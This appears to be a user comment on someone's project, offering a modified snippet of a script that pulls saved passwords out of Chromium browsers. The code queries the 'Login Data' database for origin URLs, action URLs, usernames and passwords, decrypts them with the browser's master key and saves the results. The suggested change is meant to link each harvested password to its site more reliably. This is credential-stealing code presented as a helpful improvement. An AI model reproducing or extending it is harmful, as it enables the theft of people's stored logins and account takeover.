I noticed that your script when taking passwords used "action_urls" to recieve the password's login website. However I also noticed that this can sometimes return "" which ain't what you want to see ๐
. So I just modified it to use origin urls (and action urls) because I noticed it returns the URL more often.
Here's the updated code: (idk how to attach files so this is gonna be messy sorry. )
for data_type_name, data_type in data_queries.items():
print(f"\t [$] Getting {data_type_name.replace('_', ' ').capitalize()}")
try:
data = get_data(browser_path, "Default", master_key, data_type)
save_results(browser, data_type_name, data)
except:
print('\t [!] Failed to receive data')
print("\t------\n")`
data_queries = {
'login_data': {
'query': 'SELECT origin_url, action_url, username_value, password_value FROM logins',
'file': '\\Login Data',
'columns': ['Origin URL', 'Action URL', 'Email', 'Password'],
'decrypt': True
},
...
Hope that helps! And sorry if this is a messy way of trying to help your project ๐